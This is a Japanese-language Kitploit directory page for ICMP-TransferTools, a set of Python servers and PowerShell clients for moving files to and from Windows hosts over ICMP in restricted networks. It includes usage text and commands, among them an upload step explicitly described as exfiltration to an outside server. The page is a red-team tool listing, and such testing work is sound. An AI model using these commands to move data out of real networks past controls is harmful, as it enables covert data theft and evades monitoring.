Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ICMP-TransferTools — 制限されたネットワーク環境において、ICMP経由でWindowsホストとの間でファイルを転送します。 | Kitploit
ツール/GitHubGitHub/icyguider/icmp-transfertools
データ流出ネットワークセキュリティペネトレーションテストレッドチーミング
GitHubicyguider/icmp-transfertools

ICMP-TransferTools

制限されたネットワーク環境において、ICMP経由でWindowsホストとの間でファイルを転送します。

リポジトリを見る
334664年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ICMP-TransferTools

ICMP-TransferTools は、制限されたネットワーク環境で Windows ホストとの間でファイルを移動するために設計されたスクリプト群です。これは、各転送方向(ダウンロードとアップロード)に対して python サーバーと powershell クライアントで構成される合計4つの異なるファイルを使用して実現されます。

唯一の依存関係は、Python スクリプトの1つに必要な Impacket です。次のように pip でインストールできます。

root@kitploit:~
pip3 install impacket

ICMP 経由のダウンロード

含まれている ICMP-SendFile.py と Invoke-IcmpDownload.ps1 スクリプトを使用して、ICMP 経由で Windows ホストにファイルをダウンロードできます。

まず python サーバーを実行して、ダウンロード用のファイルをステージングする必要があります。スクリプトの使用方法は以下の通りです。

root@kitploit:~
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file

ICYGUIDER'S ICMP FILE DOWNLOAD SERVER

positional arguments:
  source                Public IP address of current host
  destination           Public IP address of destination host
  file                  File to transfer over ICMP

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Verbosely print progress
  -b 1000, --block-size 1000
                        Size of each block (Default: 1000)

インポート後、powershell クライアントを使用してステージングされたファイルを次のようにダウンロードできます。

root@kitploit:~
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload

以下に簡単なデモを示します。

ダウンロードデモGIF

ICMP 経由のアップロード

含まれている ICMP-ReceiveFile.py と Invoke-IcmpUpload.ps1 スクリプトを使用して、ICMP 経由で Windows ホストからファイルをアップロード/外部流出させることができます。

まず python サーバーを実行して、クライアントからのリクエストを受け入れる準備ができていることを確認する必要があります。スクリプトの使用方法は以下の通りです。

root@kitploit:~
usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
  src         Public IP Address of client
  file        File to write data to

optional arguments:
  -h, --help  show this help message and exit

インポート後、powershell クライアントを使用して目的のファイルを次のようにアップロードできます。

root@kitploit:~
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload

以下に簡単なデモを示します。

アップロードデモGIF

ツールをダウンロード